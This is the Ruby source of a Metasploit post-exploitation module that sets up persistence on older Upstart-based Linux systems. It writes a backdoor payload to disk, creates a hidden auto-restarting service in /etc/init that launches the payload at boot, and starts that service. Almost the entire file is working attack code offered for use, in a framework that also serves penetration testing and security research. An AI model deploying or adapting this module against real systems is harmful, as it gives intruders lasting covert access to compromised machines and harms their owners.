## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::FileDropper include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/service_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'Service Upstart Persistence', 'Description' => %q{ This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services Targets: CentOS 6 Fedora >= 9, < 15 Ubuntu >= 9.10, <= 14.10 }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', ], 'Platform' => ['unix', 'linux'], 'Targets' => [ [ 'Upstart', { runlevel: '2345' } ], ], 'DefaultTarget' => 0, 'Privileged' => true, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'References' => [ ['URL', 'https://www.digitalocean.com/community/tutorials/how-to-configure-a-linux-service-to-start-automatically-after-a-crash-or-reboot-part-1-practical-examples'], ['ATT&CK', Mitre::Attack::Technique::T1543_CREATE_OR_MODIFY_SYSTEM_PROCESS], ['URL', 'http://blog.terminal.com/getting-started-with-upstart/'] ], 'SessionTypes' => ['shell', 'meterpreter'], 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] }, 'DisclosureDate' => '2006-08-24' # upstart release date ) ) register_options( [ OptString.new('PAYLOAD_NAME', [false, 'Name of shell file to write']), OptString.new('SERVICE', [false, 'Name of service to create']), OptInt.new('RESTART_LIMIT', [false, 'Name of service to create', 3]), OptEnum.new('INIT_FOLDER', [false, 'Init folder location', 'auto', ['auto', 'init', 'init.d']]) ] ) end def init_folder if datastore['INIT_FOLDER'] == 'init' || ( datastore['INIT_FOLDER'] == 'auto' && exists?('/etc/init') ) return '/etc/init' end '/etc/init.d' end def check print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp') return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir) return CheckCode::Safe("#{init_folder} isnt writable") unless writable?(init_folder) return CheckCode::Safe('Likely not an upstart based system') unless command_exists?('initctl') CheckCode::Appears("#{writable_dir} is writable and system is upstart based") end def install_persistence backdoor = write_shell(writable_dir) path = backdoor.split('/')[0...-1].join('/') file = backdoor.split('/')[-1] upstart(path, file, target.opts[:runlevel]) end def write_shell(path) file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10) backdoor = "#{path}/#{file_name}" vprint_status("Writing backdoor to #{backdoor}") if payload.arch.first == 'cmd' write_file(backdoor, payload.encoded) chmod(backdoor, 0o711) else upload_and_chmodx backdoor, generate_payload_exe end @clean_up_rc << "rm #{backdoor}\n" fail_with(Failure::NoAccess, 'File not written, check permissions.') unless file_exist?(backdoor) backdoor end def upstart(backdoor_path, backdoor_file, runlevel) script = <<~EOF description "Start daemon at boot time" start on filesystem or runlevel [#{runlevel}] stop on shutdown # Ensure only one instance runs pre-start script if [ -f /var/run/#{backdoor_file}.pid ] && kill -0 $(cat /var/run/#{backdoor_file}.pid) 2>/dev/null; then echo "#{backdoor_file} is already running." exit 1 fi end script script echo $$ > /var/run/#{backdoor_file}.pid exec #{backdoor_path}/#{backdoor_file} end script post-stop script rm -f /var/run/#{backdoor_file}.pid sleep 10 end script respawn respawn limit #{datastore['RESTART_LIMIT']} 300 EOF service_filename = datastore['SERVICE'] || Rex::Text.rand_text_alpha(7..12) service_name = "#{init_folder}/#{service_filename}.conf" vprint_status("Writing service: #{service_name}") write_file(service_name, script) fail_with(Failure::NoAccess, 'Service file not written, check permissions.') unless file_exist?(service_name) @clean_up_rc << "rm #{service_name}" vprint_status('Starting service') cmd_exec("initctl start #{service_filename}") end end